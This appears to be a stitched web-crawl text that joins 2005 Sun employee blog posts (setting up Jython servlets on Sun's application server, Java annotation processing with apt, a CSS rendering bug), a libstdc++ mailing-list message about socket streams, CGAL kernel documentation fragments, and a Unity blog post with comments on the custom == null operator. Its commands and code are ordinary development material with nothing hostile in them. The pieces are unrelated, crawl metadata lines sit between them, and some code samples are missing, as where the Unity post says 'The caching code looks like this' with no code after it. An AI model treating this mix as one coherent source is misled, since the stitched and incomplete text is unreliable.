When executing the Jython installer add the argument "-o /install-jython". Adjusting for the directory where you want Jython, of course. ("java jython-21 -o /install-jython") This skips the installer completely and makes an installation in the specified directory.
At this point you can perform the rest of the installation instructions as they are all browser and command line oriented. However, just for reference, I'll show how to use the command line to deploy the application template rather than the browser based admin GUI.
The deployment command is as follows: "/install-dir/bin/asadmin deploy --name jythondemo --contextroot jythondemo /install-dir/samples/quickstart/hello.war " The admin server must be started for this command to work.(2005-03-28 09:22:15.0) Permalink Comments [1]
A co-worker of mine was doing a project that used servlets written. Sean McGrath wrote a tutorial on getting this up and running. Unfortunately, the tutorial assumes that you will be deploying to Tomcat. I wanted to encourage my co-worker to use Sun Java System Application Platform Edition, so I volunteered to get Jython servlets running on Sun's appserver.
There really isn't any significant difference in the way Jython works on these two platforms, but for those who are new to SJS Application Server's filesystem layout and administrative interface this document may be helpful. After following these instructions you will want to go read Sean's original documentation as this document only covers the server setup and not the Jython programming.
All code is the property of Sean McGrath as I just tweaked the install instructions a little.
This document was developed using Sun Java Application Server Platform Edition 8.1 2005Q1 UR1 on Solaris 10 x86 Edition. However, these instructions should work for any platform, and for any edition of SJS Application Server. (This document is written with UNIX style PATH names and command prompts, however. Adjust appropriately for Windows machines.)
These instructions do not assume root privileges, although you will need to choose directories and ports appropriate to your account. It is assumed that you have a monitor. There are headless installation alternatives available for both SJS Application Server and Jython, but they are not covered in this document.
Download Sun Java System Application Server from. These instructions assume that you are using the "All-In-One-Bundle".
Make the downloaded file executable : "chmod +x j2eesdk-1401_2005Q1-solaris-i586.bin". (Your filename may differ if you are running a different patch level or platform.)
Now start your application server by executing "/install-dir/bin/asadmin start-domain" (adjusting for your installation directory). You should now be able to reach the application server on and the adminstrative interface on .
Download Jython 2.1 from .
(More detailed instructions can be found at . These documents include some platform specific notes and troubleshooting tips if you run into trouble.)
Jython is distributed as a self-extracting Java class file. You can run the installer by executing "java jython-21". If you do not have java in your PATH, you can use the java installed as part of the Application Server "/install-dir/jdk/bin/java jython-21".
You should now be able to bring up a jython command line. Execute "/install-jython/jython" (substituting your own install directory) and jython will give you an interactive command line after doing some initial processing. Type ^c twice or ^d once to exit from the command line.
Rather than compiling and deploying a web application from the command line as the Sean does in his Tomcat instructions, we will use one of the sample applications that comes with SJS Application Server as a template.
We will expand this simple hello world application with Jython in the next section.
First we will add the jython library to the CLASSPATH of the server by placing it in the server's lib directory. Copy the jython.jar directory from your Jython install into the application server's lib directory. ( "cp /install-jython/jython.jar /intall-dir/lib/" )
Change your directory to the home of the application you just deployed by executing "cd /install-dir/domains/domain1/applications/j2ee-modules/jythondemo/WEB-INF". (As always, adjusting for your installation directory.) Here you will find the web.xml file that describes the application to the application server.
We will add a line to this configuration file that tells SJS Application to use Jython to execute requests ending in ".py". Replace the existing web.xml with the following:
<?xml version="1.0" encoding="UTF-8"?> <web-app <display-name>hello</display-name> <distributable/> <servlet> <servlet-name>PyServlet</servlet-name> <servlet-class>org.python.util.PyServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>PyServlet</servlet-name> <url-pattern>*.py</url-pattern> </servlet-mapping> </web-app>
While we are in this directory we will also copy the Jython libraries into the application's web context so that we can use later. ("cp -r /install-jython/Lib lib")
We will now use Sean's first Jython servlet to test that everything is working. Go up one directory to /install-dir/domains/domain1/applications/j2ee-modules/jythondemo/ ("cd ..") and create a JythonServlet1.py file with the following code:
from javax.servlet.http import HttpServlet class JythonServlet1 (HttpServlet): def doGet(self,request,response): self.doPost (request,response) def doPost(self,request,response): toClient = response.getWriter() response.setContentType ("text/html") toClient.println ("<html><head><title>Servlet Test</title>" + "<body><h1>Servlet Test</h1></body></html>")
You will now need to restart the server so that it picks up the changes to the web.xml file. (You can add more Jython Servlets without restarting: it is only the web.xml changes that require a restart.) Execute "/install-dir/bin/asadmin stop-domain" to stop the server and "/install-dir/bin/asadmin start-domain" to restart it.
Once the server has restarted you should be able to access your test Jython servlet from "".
Just to make sure that the Python library is accessable we will also deploy Sean's third sample. Put the following code in JythonServlet3.py
import sys,calendar,time from java.io import * from javax.servlet.http import HttpServlet from JythonServletUtils import * class JythonServlet3 (HttpServlet): def doGet(self,request,response): self.doPost (request,response) def doPost(self,request,response): toClient = response.getWriter() response.setContentType ("text/html") toClient.println ("<html><head><title>Servlet Test 3</title>") toClient.println ("<body><h1>Calendar</h1><pre>%s</pre></body></html>" % calendar.calendar(time.localtime()[0])) if __name__ == "__main__": JS3 = JythonServlet3() dummyRequest = DummyHttpRequest() dummyResponse = DummyHttpResponse() JS3.doPost (dummyRequest,dummyResponse)
You will also need to create the JythonServletUtils module referenced in that code. Create another file called JythonServletUtils.py with the following code:
from java.lang import System class DummyHttpRequest: pass class DummyHttpResponse: def setContentType(self,t): System.out.println ("Content-Type:%s" % t) def getWriter (self): return System.out
After creating these files you should be able to access Sean's calendar sample on .
Hopefully all of these instructions worked for you and you are now productively writing Jython servlets. Make sure to read Sean's tutorial for more about programming servlets in Jython and keep watching his blog for more updates to the tutorial.(2005-03-24 13:48:16.0) Permalink Comments [2]
Yeah, I know. Almost a month since my last post and a long time since I've been posting regularly. February was insane. In addition to just being a busy month in general, I took on a major project for my boss's boss that I knew I didn't have time for. Plus I was a speaker at CEC and had a huge amount of prep work for that. And then I got sick (probably from working the crazy schedule I was working).
But things are better now. Once I clear some backlog I have lots of stuff I want to post. But one thing caught my attention today that should be quick to post.
Tim Bray points out the benefits of blogging on your personal career. It made me laugh because it reminded me so much of Jonathan's talk at CEC.
Like many of Jonathan's talks, his opening line was: "Do you read my blog? You should.". His next comment (if I recall correctly) was encouraging the audience to blog. Immediately afterwards, he asks if John Clingan is in the audience. I've seen him do this multiple times now.
John is clearly a rock star. (Or techno celeb if you prefer Mary's terminology.)
When your boss's boss's boss's boss's boss's boss asks for you by name when walking into a crowd of thousands because of your celeb status, that has to be good for both your career and your job satisfaction.
I'll take it as a lesson learned and try to get back to blogging regularly. :-)(2005-03-10 12:56:09.0) Permalink]
This is the wrap up to my series about Java Metadata (aka annotations). Part one here, part two here.
In the previous two sections I discuss the basics of metadata and some of the interesting advanced functionality available through the
apt annotation processing tool. In this section I'll present some of my thoughts about how metadata affects the future of Java and some of the pros and cons of using metadata today.
If you've ever heard the Java engineering folks (both J2SE and J2EE) speak, you'll know that they are very excited about the possibilities that metadata brings to Java. Both the J2SE and J2EE teams are looking for ways to make Java easier to learn and use. Metadata is a way for them to reduce lines of code required while at the same time as improving code readability and tools support.
There are lots of examples of using metadata in active JSRs. Metadata is going to be used to enable declarative web services, O/R Mapping, and the next version of CMP. There is also the hope that tools vendors are going to find interesting ways to use annotations. Perhaps custom annotation libraries. Perhaps GUI tools that use annotation markers to enable full lifecycle development.
But it is easy to see that while metadata may not be commonplace in production code yet, a couple of years it is going to be an integral part of Java. Knowing how to use metadata will be as important as knowing how to use the Collection library or deployment descriptors.
Unfortunately, however, metadata is still on the bleeding edge of Java. Java 5.0 has dipped its toe into the water of declarative programming by introducing metadata into the language. But using the more advanced features, like modifying the behavior of the compiler, requires you to use
apt and APIs like com.mirror.* that aren't guaranteed not to change. Not to mention that tools like
apt do not have any tools support and have some known bugs. It was very frustrating not being able to use tools like
ant in my demo because of their lack of
apt support. Not to mention the fact that my IDE wasn't smart enough to know that the Factory classes were going to be autogenerated.
As much as the J2SE team would like to see apt begin to replace other tools like XDoclet, there are still significant gaps that have to be addressed before
apt becomes a mainstream tool. It reminds me of the early days of JSP where you had to be careful about which API's you used because of the differences between the 0.92, 1.0, and 1.1 specifications.
I can't really recommend that creating customer annotation processors be a part of enterprise application development yet. The tool support and API stability isn't there yet. But there isn't any question that metadata is going to be a fact of life for Java developers. Nor is there any doubt about the power that annotations will be able to bring to developers and tool vendors.
So I recommend that everyone get familiar with the basic syntax of Java annotations. It's going to be an absolute requirement for using J2EE 5.0. But I'd also recommend that people start to experiment with what is possible in
apt. When you are architecting your code, think about what would be better expressed as declarative functionality and how you might implement it as an annotation. Write a demo application or step through mine to learn some of the possibilities for metatdata.
Because, based on the current JSRs, metadata is going to be adopted very rapidly by the Java community. Being able to demonstrate your ability to extend the functionality of Java via metadata will be a very powerful competitive differentiator for developers.(2005-02-01 19:16:52.0) Permalink
So I have a couple of websites I maintain as side projects. The one I've been spending the most time recently is my Mom's fabric arts page. Because of some of the precise layout that my Mom wanted, I used XHTML and CSS to layout the pages. Which is great: CSS is easier to do than table based layout and greatly reduces the page size. But browser compatibility has haunted me somewhat.
The nastiest example so far was that my Mom updated a couple of the pages to make a couple of minor tweaks. But once she made the changes the pages no longer rendered correctly in Internet Explorer. I was trying to troubleshoot the problem, but couldn't find anything wrong with the code. It was the exact same CSS style code as all of the other pages.
It turns out that Outlook Express had added an HTML comment to the top of the HTML page when my Mom saved some versions of the page we had been emailing back and forth. I hadn't noticed it because it was just a comment. But as HTML gurus know, browsers look at the first line of the HTML to determine the DOCTYPE and sometimes adjust their rendering based on that DOCTYPE. IE was rendering most of the pages correctly because it was using a strict XHTML mode. But with the comment at the top it must have fallen back to a quirks mode that didn't render the page correctly.
This triggered one of my longtime frustrations: comments that affect behavior. In everyone's first computer language class they are taught that comments are for increasing code readability but do not affect the functionality of the application. Shortly thereafter, however, we start learning all of the little exceptions to that rule. UNIX scripts declare their interpretive shell in comments. Java embedds its API documentation in comments. HTML embeds style sheet and script information in comments.
This has always bothered me. It seems a dangerous practice that violates the "contract" between developers and their code. This IE troubleshooting was a perfect example: I completely ignored the comment because my mind just automatically ignored it. And Dreamweaver helped me ignore it by greying it out. Both Dreamweaver and I were making the bad assumption that comments don't affect the layout. I've learned to just accept this practice because we've needed these hacks. JavaDoc is a great feature of Java even if it violates my aesthetics about comments.
Metadata, however, has the chance to clean up some of these hacks, at least in the Java world. It gives a way to let tools interact with source code without having to hide the interaction from the compiler using comments. HAll of the examples above (JavaDoc, shell interpreters, HTML styles/scripts, and HTML DOCTYPES) are really examples of application metadata. Now that Java has a declarative method for Metadata, hopefully we can move forward with cleaner code.(2005-01-31 12:02:28.0) Permalink
This week I'm out at Sun's corporate offices in California. A bunch of us software folks are getting some advanced training and some face time with the product engineering folks. This is a good thing, especially considering the new versions of Java Enterprise System and Sun Java System Application Server around the corner.
Unfortunately, I live in an area with relatively poor access to airports. I can drive east an hour and a half to a major airport or I can drive west an hour and a half to a smaller airport. Driving to the major airport is tough during rush hour and is susceptible to all kinds of traffic, parking, and security delays. The smaller airport, Harrisburg International, is a much more pleasant drive, the service is great, and it's generally just easier getting in and out. They even promote themselves as the "antidote to the big airport".
So, when the flight schedules work out, I choose to fly out of the smaller airport.
Now I'm a pretty seasoned business traveler. I think that I'm pretty savvy about the whole process. I pack light. I always have my iPod so that I can kill time. But most importantly I try to keep a positive attitude about the whole experience. Because when you travel frequently, you are going to run into problems sooner or later. My cardinal rule for travel is to be nice to gate agents and to trust them to help you. I've had lots of issues when traveling, some of them my own fault, but the airlines have always done the best the could for me. (Everyone should have to watch the TV show Airline before getting upset with a gate agent.)
So when I ran late on Sunday and missed my flight I was optimistic that the airline would be able to help me out. Unfortunately, however, being at a smaller airport does limit your choices significantly. Harrisburg only has a dozen or so gates, and they are divided between a lot of airlines. Combine that with a flood of people heading to San Francisco for MacWorld and some bad weather on the west coast and I was pretty much out of luck. I'm stunned at how crazy San Francisco is over MacWorld. The flights are packed. Changing car and hotel arrangements has been near impossible.
Anyway it's been a stressful day and a half getting here. I finally made it to my hotel room. I guess the lesson to learn from this experience is to know when the system has a small tolerance for failure and to plan accordingly. I suppose the same thing could be said about software system design. A skilled system architect should be able to know in advance where to the stress points of a system will be and to put plans in place to reduce those risks.
That's a big stretch to try and create an analogy, but you'll have to forgive me. It's a been a long day.(2005-01-10 23:42:08.0) Permalink
I really have to stop taking on big blog articles like this. They always take a lot longer to write than I expect. It's been a month since the last article in this series, but here we go with part two on my annotations preso, converted to blog format. Sorry it's so long, I really should have broken it into smaller posts. But I got on a roll and since I'm a month late I figured I might as well get it done.
Last article was just a basic introduction to the concept of Metadata. We introduced annotations, the reason behind introducing them into Java, the basic syntax for using annotations, and the built-in annotations.
Now that we understand the basics of metadata, we can now take a look at the more interesting topic of how to create our own metadata. The pre-built annotations have a certain amount of value, but creating your own annotations is where metadata gets interesting. (At least until EJB 3.0 and J2EE 1.5, which will have lots of time saving new annotations.)
Why would we want to create a new annotation?
@inject (arg="ObjectPoolSize", field="size")
@todo (owner="David F. Ogren", note="upgrade")
There are several articles on the web about how to add markers to code and how to use reflection to allow code to inspect itself. I'd recommend starting with the annotations section of the language guide. It walks through creating a new marker interface @Preliminary and creating a single valued interface of @Copyright. It also creates a @Test marker interface and then shows how to use reflection to determine if that marker exists for a given class.
I'm not going to take a lot of time detail those simple examples again here. In summary, creating new annotations is a lot like creating new interfaces. The major difference (besides the @ symbol) is that you have to be conscious of the meta annotations such as @Retention and @Target. And there are some new methods and in the java.lang.reflect package such as isAnnotationpresent and getDeclaredAnnotations that allow you to detect and manipulate annotations. Here's a quick example of a single value custom annotation with a default value.
And here is a little command line app to parse for those annotations:And here is a little command line app to parse for those annotations:package AnnotationDemo; import java.lang.annotation.*; @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) public @interface Maintainer { String value() default "unknown"; }
package AnnotationDemo; //This class accepts a class and returns the value of the @maintainer //annotation. (If the targeted class has one.) @Maintainer(value="ogren") public class SingleValueDemo { public static String findMaintainer(String className) { String maintainer; try { Maintainer notation = (Maintainer) Class.forName(className).getAnnotation(Maintainer.class); if (notation!=null) { maintainer="Maintainer is " + notation.value(); } else { maintainer="Class exists but is not annotated with maintainer."; } } catch (ClassNotFoundException e) { maintainer= "No such class found"; } return maintainer; } public static void main(String[] args) { if (args[0]!=null) { System.out.println(findMaintainer(args[0])); } else System.out.println("Usage: SingleValueDemo classname"); } }
But if you want to change the compiler behavior, the most interesting part of annotations in my opinion, you have to venture into the world of apt and annotation factories.
apt is a javac replacement that finds and executes annotation processors. Yes, this means that you have to change your build chain if you want to use these new features. If you use javac directly it will not perform all of your custom metadata enhanced behavior.
Annotation Factories implement a simple interface with three methods: getProcessorFor, supportedAnnotationTypes, and supportedOptions. These three methods allow the apt tool to determine which factories are interested in which annotation types and to obtain a AnnotationProcessor object for a given annotation type.
Here is the bulk of the code from the annotation factory I use in my demo: (for the reasons I explained a while ago, I'm not going post all of the code.)
public class PooledFactoryApf implements AnnotationProcessorFactory { private static final String FQTAGNAME = "AnnotationDemo.PooledFactory"; //(This commented line is how you would declare the annotations you support. //So that this demo can watch all //annotations, however, this factory tells apt we process all ("*") annotations. // private static final Collection
supportedAnnotations = // Collections.unmodifiableCollection(Arrays.asList("AnnotationDemo.PooledFactory")); private static final Collection supportedAnnotations = Collections.unmodifiableCollection(Arrays.asList("*")); private static final Collection supportedOptions = emptySet(); public Collection supportedAnnotationTypes() { return supportedAnnotations; } public Collection supportedOptions() { return supportedOptions; } public AnnotationProcessorFor( Set atds, AnnotationProcessorEnvironment env) { return new PooledFactoryProcessor(env); } }
The code is pretty self explanatory. You return collections of Strings defining the annotations and options you support. You can use wildcards in those Strings to support ranges of items. My particular demo accepts all annotations (just for demo purposes) and no options. And when asked for a AnnotationProcessor the factory blindly returns the PooledFactoryProcessor which I define below, regardless of what the annotation is or what is going on in the environment.
The AnnotationProcessor is the place where we we actually place our customized behavior. AnnotationProcessors support a simple interface with only one method: process(). Once the apt tool has obtained the correct AnnotationProcessor from the factory, it will call the process method. Once we receive this call to the process method we can use the environment (which we received during construction) to search for instances the annotation we are looking for and perform our custom behavior.
For my demo application I developed an annotation that would automagically generate the code to implement a factory pattern classes it decorates. In theory, this could be used to automatically make any class a pooled resource, although I built this as a proof of concept and didn't actually add the logic to implement pooling. Here is the declaration for my annotation:
@Retention(RetentionPolicy.SOURCE) @Target(ElementType.TYPE) public @interface PooledFactory { int poolSize(); }
As you can see it is a single valued annotation that marks types (classes and interfaces) and is discarded after compilation. The annotation is discarded after compilation because its job generating the factory code is complete after compile time. Another thing to note is that legally this annotation could be placed on an interface since the annotation syntax considers both classes and interfaces to be types. My demo does throw an error at compile time if an interface is marked with @PooledFactory, but it will not show up as syntactically invalid in an IDE. The following is a simple illustration of how the @PooledFactory annotation might be used:
Clients would then access an instance via the automatically generated factory class:Clients would then access an instance via the automatically generated factory class:@PooledFactory(poolSize=4) public class ExpensiveClass { ExpensiveClass() { System.out.println( "For some reason, I take a long time to create so I am being pooled."); } public void someMethod() { System.out.println("Some business method is executing"); } }
ExpensiveClass myClass = ExpensiveClassFactory.getInstance(); myClass.someMethod(); ExpensiveClassFactory.returnInstance(myClass);
To me, this is why annotations are exciting. We have just extended Java with a new piece of declarative functionality. If we are using a profiler and discover a bottleneck creating ExpensiveClass objects we can attempt a fix with three lines of code (one to add the annotation, one to change the allocation, and one to return the object to the pool). We also get the added benefits of code readability and code reuse.
So let's implement the code generation in the AnnotationProcessor. The first step is to receive the process() call from apt and find all of the classes that are marked with our annotation:
private final AnnotationProcessorEnvironment env; private final AnnotationTypeDeclaration myType; PooledFactoryProcessor(AnnotationProcessorEnvironment env) { this.env = env; this.myType = (AnnotationTypeDeclaration) env.getTypeDeclaration("AnnotationDemo.PooledFactory"); } public void process() { Collection
annotatedClasses = env.getDeclarationsAnnotatedWith(myType); for (Declaration decl : annotatedClasses) { if (decl instanceof ClassDeclaration) //this method creates the new source file createFactorySource((ClassDeclaration) decl); else env.getMessager().printWarning( "An interface was marked with @PooledFactory"); } }
In the constructor we save the environment we receive from the factory and save the AnnotationTypeDeclaration we are looking for. Once in the process method all we have to do is use the com.sun.mirror.apt.AnnotationProcessorEnvironment to get a list of types that implement our annotation and then iterate over that Collection (using the new foreach style of for loop). As mentioned before we have to check to make sure that our types are classes and then we can execute our custom method (below) to generate the new java source. Notice how that we can print a compiler warning via the AnnotationProcessorEnvironment object. We could use the same technique to implement annotations that perform syntax checking or analysis.
The createFactorySource method is were we actually generate the new source file for the factory class. This demo uses a very simplistic method for doing so, shown below:
void createFactorySource(ClassDeclaration decl) { //Determine new class name String realClass = decl.getSimpleName(); String newClassName = realClass + "Factory"; String newQualName = decl.getQualifiedName() + "Factory"; System.out.println("Attempting to create factory :" + newQualName); try { PrintWriter out = env.getFiler().createSourceFile(newQualName); out.println("//autogenerated by PooledFactoryProcessor"); out.println("package " + decl.getPackage() + ";"); out.println("public class " + newClassName +" { "); out.println("public static " + realClass + " getInstance() { return new " + realClass + "(); }"); out.println("public static void returnInstance( " + realClass + " old) { }"); out.println("}"); } catch (java.io.IOException e) { System.out.println("Factory already exists or cannot be created"); } }
This class is a bit of a hack, but it shows the basics of source code generation. We figure out what class name (and qualified class name) to use and then use the AnnotationProcessorEnvironment to get a PrintWriter leading to a new source file. (The new source file ends up getting created in a temp directory that can be specified using the -s apt argument.) We then write out the new code to PrintWriter and apt handles the rest. It will automatically pass the new code through the AnnotationFactory again since we might have annotations in our generated code. After that recursive step completes it will then use javac to compile all of the code, including our generated code. At that point ExpensiveClassFactory exists just as if it had been coded by hand.
Obviously this is just a little demo hack and doesn't do any real pooling. Real world code generation takes more than six println statements. But it illustrates the basics of modifying compile time behavior and its a lot more fun than the little reflection samples I see in most annotation tutorials. The same techniques cold be used to do all kinds of powerful compile time behavior.
In the next an final chapter, I'll share some my closing thoughts about metadata. I'll talk about the pros and cons of apt and the future of annoations, such as how metadata will be used in J2EE 1.5 and EJB 3.0.(2005-01-06 06:47:40.0) Permalink | http://blogs.sun.com/roller/page/ogren/ | crawl-001 | en | refinedweb |
This is the mail archive of the libstdc++@sources.redhat.com mailing list for the libstdc++ project.
Phil Edwards wrote: > >. How about: class basic_file { . . . typedef __whatever__ __np_file_descriptor; . . . __np_file_descriptor __np_get_descriptor() const { return ... }; . . . }; > >. I agree with Mr. Edwards here. In general, that's not what an iostream is for. One thing that I do in my program, which links to the last snapshot you guys made that wasn't part of GCC, is this: "socketostream.h" template<typename _CharT, typename _Traits = char_traits<_CharT> > class basic_socketostream : public basic_ostream<_CharT, _Traits> { public: basic_socketostream(int iSocket) : basic_ostream<_CharT, _Traits>(0), m_iSocket(iSocket), m_fb(iSocket, "socket", ios::out) { this->init(&m_fb); } virtual ~basic_socketostream() { shutdown(m_iSocket, 2); #ifdef WIN32 #error "close() probably isn't right for a socket!" #endif } private: int m_iSocket; filebuf m_fb; }; typedef basic_socketostream<char> socketostream; You guys still support this non-standard filebuf constructor, right? This might help Mr. Papadopoulo. P.S. Unrelated, to the list: If you mistakenly have a close() call in ~basic_socketostream() above, it causes a memory leak deep in libstdc++ 2.90.3. I posted to the list about this a while ago, but never heard anything back. I've got a test program that demonstrates the memory leak if anyone wants it. In general, it seemed that any error when close() is called in a filebuf will cause a memory leak in 2.90.3. -- George T. Talbot <george at moberg.com> | http://gcc.gnu.org/ml/libstdc++/2000-09/msg00068.html | crawl-001 | en | refinedweb |
#include <CGAL/Circular_kernel_2.h>
CircularKernel
The circular kernel is parameterized by a LinearKernel parameter (and derives from it), in order to reuse all needed functionalities on basic linear objects provided by one of the CGAL kernels. It also allows other implementations of these basic functionalities.
The second parameter, AlgebraicKernelForCircles, is meant to provide the circular kernel with all the algebraic functionalities required for the manipulation of algebraic curves.
LinearKernel
The circular kernel uses basic number types of the algebraic kernel:In fact, the two number types AlgebraicKernelForCircles::RT and LinearKernel::RT must coincide, as well as AlgebraicKernelForCircles::FT and LinearKernel::FT.
The following types are available, as well as all the functionality on them described in the CircularKernel concept.
LinearKernel
AlgebraicKernelForCircles
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The class Extended_cartesian<FT> serves as a traits class for the class CGAL::Nef_polyhedron_2<T>. It uses a polynomial component representation based on a field number type FT.
#include <CGAL/Extended_cartesian.h>
ExtendedKernelTraits_2
To make a field number type FT_model work with this class, you must provide a traits class for this number type: CGAL::Number_type_traits<FT_model> (See the support library manual.)
Fits all operation requirements of the concept.
CGAL::Extended_homogeneous<RT>
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When you do this in Unity:”<T>() performance, and while implementing some caching for the transform component I wasn’t seeing any performance benefits. Then @jonasechterhoff looked at the problem, and came to the same conclusion. The caching code looks like this: :)
Gusk6月 30, 2014 2:02 am
If we are gaining significant performance and you can find a thread safe way to do it, go ahead, if not, is it worth breaking tons of tutorials for this?
If you are going to change it, add a static method to the UnityEngine.Object and UnityEngine.GameObject, and throw a warning whenever we use the “go == null” starting at version 4.6 (or ASAP) so that we can start removing old habits before they become bugs.
Anon6月 23, 2014 5:22 pm
If you change it, don’t call it “destroyed”. Call it “isNull”. I (and I bet a lot of other people) use destroyed to mean game-related things. isNull makes it much more clear what you’re checking.
tswalk6月 16, 2014 6:04 pm
I think nearly everyone appreciates the openness and context while having a chance to offer feedback…
Lucas Meijer6月 16, 2014 10:03 am
Thanks for the 196(!) comments on this.
Looks this is a topic with strong opinions. Let me circle back on a few things:
– it’s really good for us to see that by and far most people would prefer to see us making breaking changes to make things better, over always keeping compatibility and not making things better. We love hearing this, because it’s the option we usually prefer ourselves :)
– there are a lot of valid questions on if removing the custom== operator is actually making it better or not. I think that in my original blogpost, I stated this too much as fact, while there are also very good arguments to be made for the current behaviour.
The parts about the custom== operator that I see biting other people (and myself), are actually things we could fix without removing the operator. (performance, being able to use it off the main thread). At least for now, we’ll go ahead with fixing these downsides of the == operator, but keeping the semantic meaning of it.
I hope people appreciate us trying to share some more of these engineering/design challenges we face, and give some context to why some things in unity are the way they are. I have two more posts like this queued up, and know many other devs have too.
Bye, Lucas!
Paul Schulze6月 12, 2014 4:54 pm
@Skjorn: It’s not about liking refactoring, it’s about measurable savings because of better readability, maintainability or reusability, compared with increasing the feature-set. That’s a compromise we coders have to deal with every second.
Using Equals() and ReferenceEquals() is just my personal best practice for things, that don’t provide an order (a valid result for ). I am aware of the gotchas there. However, I will only optimize away from readability during the optimization phase, once a profiler shows me a performance drop or memory spike exactly at a call of Equals() or ReferenceEquals() and I will only optimize it there, taking the actual implementation into account. Hasn’t happened yet though. Also, I don’t agree with your notion of the use of ReferenceEquals breaking OOP concepts. It allows me to design for specific use-cases and restrict usage in areas, where for example using an overridden Equals() implementation is not desirable. This makes for more readable, more reliable code and forces me to at least consider the edge-cases, when using Equals(). This practice also solves the problem with the obsolete warnings, which is why I mentioned it as a possible solution. If you have a better one, go ahead.
However, should the Unity Devs provide the IsAlive method and decide to remove the custom == operator in the future, then from that point on, existing comparison of UnityEngine.Object instances using only == will be obsolete, as it changes its behaviour in all cases. I think the obsolete warnings are therefor correct and they are also the fastest way to precisely pinpoint all the problem code between all the == comparisons on non-UnityEngine.Object instances. Other solutions, like using search features of an editor, will result in very large result sets or missed problem-code.
As for custom operators, I do use them and I do like them, but I am rather careful as to when I use them. You can easily do unintuitive stuff there, resulting in code that is harder to understand.
Of course, all this comes from a coder and you know how hard-headed we can be. If anything, the years have made my head quite hard.
Skjorn6月 9, 2014 9:22 pm
@paulschulze I see you like to refactor a lot. Well, good for you. I myself am certainly against warnings for perfectly valid code, however small percentage it may be.
As for the “if (UnityEngine.Object.IsAlive(o)) {}”, I would agree there. I thought of it as well, but didn’t consider it important enough to mention as I believe Unity devs will have enough sense to implement it right this time.
Regarding Equals however… Are you aware that Equals is actually slower than the *static* equality operator in many cases? That you may also introduce unnecessary boxing if not especially careful? Not mentioning that using Equals and ReferenceEquals is inconsistent in itself (you’re using two different methods for comparison). There are perfectly good reasons why the equality operators behave as they do. By choosing to call ReferenceEquals every time you inhibit classes to introduce their own comparison logic, even if it may be more appropriate, and actually go against OOP principles. When later someone decides to switch to custom Equals logic, you’ll need to go through your whole code base and refactor equality comparisons. What’s the benefit? Paranoia satisfaction?
I take it you don’t like the fact that operators can be overloaded much. It’s your choice, mate. But you can hardly seriously promote usage of Equals and ReferenceEquals everywhere as the best practice.
Paul Schulze6月 3, 2014 7:42 pm
@Skjorn: It will of course result in a lot of warnings, but I think 90 to 95% of those warnings would actually correspond to a “if (go == null) {}” check. I just checked this in the code base of a big project I worked on recently and the one I am working on now.
With a proper implementation, I think those 95% of warnings would go away. The reason being, that if you explicitely want to test an object by property or bound method, you need an active reference to the object. You can’t just call “if (go.IsAlive) {}”, you need to use “if ((go == null) || (go.IsAlive)) {}”. This of course wouldn’t remove the obsoletion warnings, but it also poses some problems for the future development of Unity (like having to do all consistency checks in a single property). So instead, I would probably opt for something like “if (UnityEngine.Object.IsAlive(o)) {}”. It removes the implicit nature of the operator in question, can act correctly, doesn’t require an actual reference and allows Unity to do additional consistency checks in the future without blowing up a property, that should actually be simple in nature. This is in line with checks like System.String.IsNullOrEmpty(). As a side note, I also like this approach, as checking an object for null is testing the validity of its state and should therefor be a unary operation anyways (and no, this doesn’t mean I am a fan of that overloaded bool operator).
This leaves the last 5-10%, where you are actually comparing objects. As you suggested, I actually use System.Object.Equals(object, object) or System.Object.ReferenceEquals(object, object) for this wherever I can and depending on which behavior I actually want. The reason being, that the == operator in C# has an inconsistent behavior depending on whether you use a reference type or a value type with no indication of the kind of object you will be dealing with during declaration. However, this does of course highlight another design problem in Unity, the use of the name Object for the root object class. I don’t want to go into details here, but I really wouldn’t mind seeing that one go away and refactoring my code for that.
Nicholas Koza6月 1, 2014 9:00 pm
From the perspective of the Principle of Least Surprise, I think the equality operator should not be overloaded in this manner. Upon reading the code “instance == null”, most people without prior experience in Unity would believe that it is checking whether the instance is null, and nothing else. By overloading the operator all you’re doing is adding a “gotcha!” moment for new Unity devs. Those sorts of gotcha moments make Unity less easy to use, not more.
Operator overloading is such an implicit mechanism that it really should be reserved for scenarios where the default behavior of the operator really doesn’t make intuitive sense and needs to be corrected. A good example is Java’s string comparisons. An equality check in Java of two strings using “==” will actually compare the object addresses rather than the content of the string. In my opinion this is counterintuitive, and this is when I really wish I could overload operators in Java. I don’t think the same holds true for comparing an instance to null.
I strongly encourage you guys to use your major version updates as a good point to break backward compatibility. It will annoy a faction of inexperienced devs that expect to always be able to upgrade without any work, but it will keep your product clean and fresh longer. You might consider adopting the Semantic Versioning scheme, if you haven’t already, which permits breaking changes on major version upgrades:
Skjorn5月 31, 2014 3:27 pm
@paulschulze You can’t obsolete the operator== or you will get obnoxious warnings for every UnityEngine.Object comparison, i.e. even stuff like “go1 == go2”. Or do you suggest to use Equals() everywhere?
Besides, the operator is not obsolete, only its semantics changes.
Paul Schulze5月 30, 2014 9:48 pm
I actually always use explicit checks, like “if (go == null) {}”, as I am not a fan of that bool operator override “if (!go)”. However, I really don’t see where the problem is. You want to kick the custom == operator, just go for it, you did it with other stuff like active/SetActive as well. Just Obsolete that override for 5 with a clear message of when it will be removed “operator == … is obsolete: Please use GameObject.IsAlive, as the operator will be removed in Unity 5.2” and make sure it still works until then, even if you go into threading. When the time comes, just kick it. Everyone will get a very clear idea of where they will run into trouble and when it is going to happen.
Josh Montoute5月 30, 2014 5:59 pm
I would vote for keeping it, but please fix the thread safety of the comparison.
focus5月 30, 2014 5:46 pm
My vote for dropping custom == operator.
Skjorn5月 30, 2014 12:14 pm
After reading this post, I was against the change. My feelings similar to @jodon’s. C# wrapper to a non-existing object is meaningless to me as a script user. However, reading the older posts about related issues provided by @lucas-meijer in the comments made me realise that the operator== simply cannot be overridden properly. If it worked with System.Object and UnityEngine.Object public constructors were disabled (as they should be), then I’d say “keep it”. It would have many benefits and very few drawbacks. But it cannot be done consistently and results in a way too many WTF moments. So yes, please — kill it.
Regarding speed, I’d expect the extra property like .isAlive to perform similarly to the overloaded operator==, so it’s not a question of speed, is it?
Side note: C# doesn’t feature a default implicit bool operator for object references, so even if I miss it dearly from C++, it doesn’t make sense for me to use it for some Objects and not use it for other objects. It’s inconsistent (but use it if you like it, of course).
chris5月 29, 2014 7:23 pm
Speaking as a guy who has been burned by this both as a beginner and as an experienced user:
Kill it with fire.
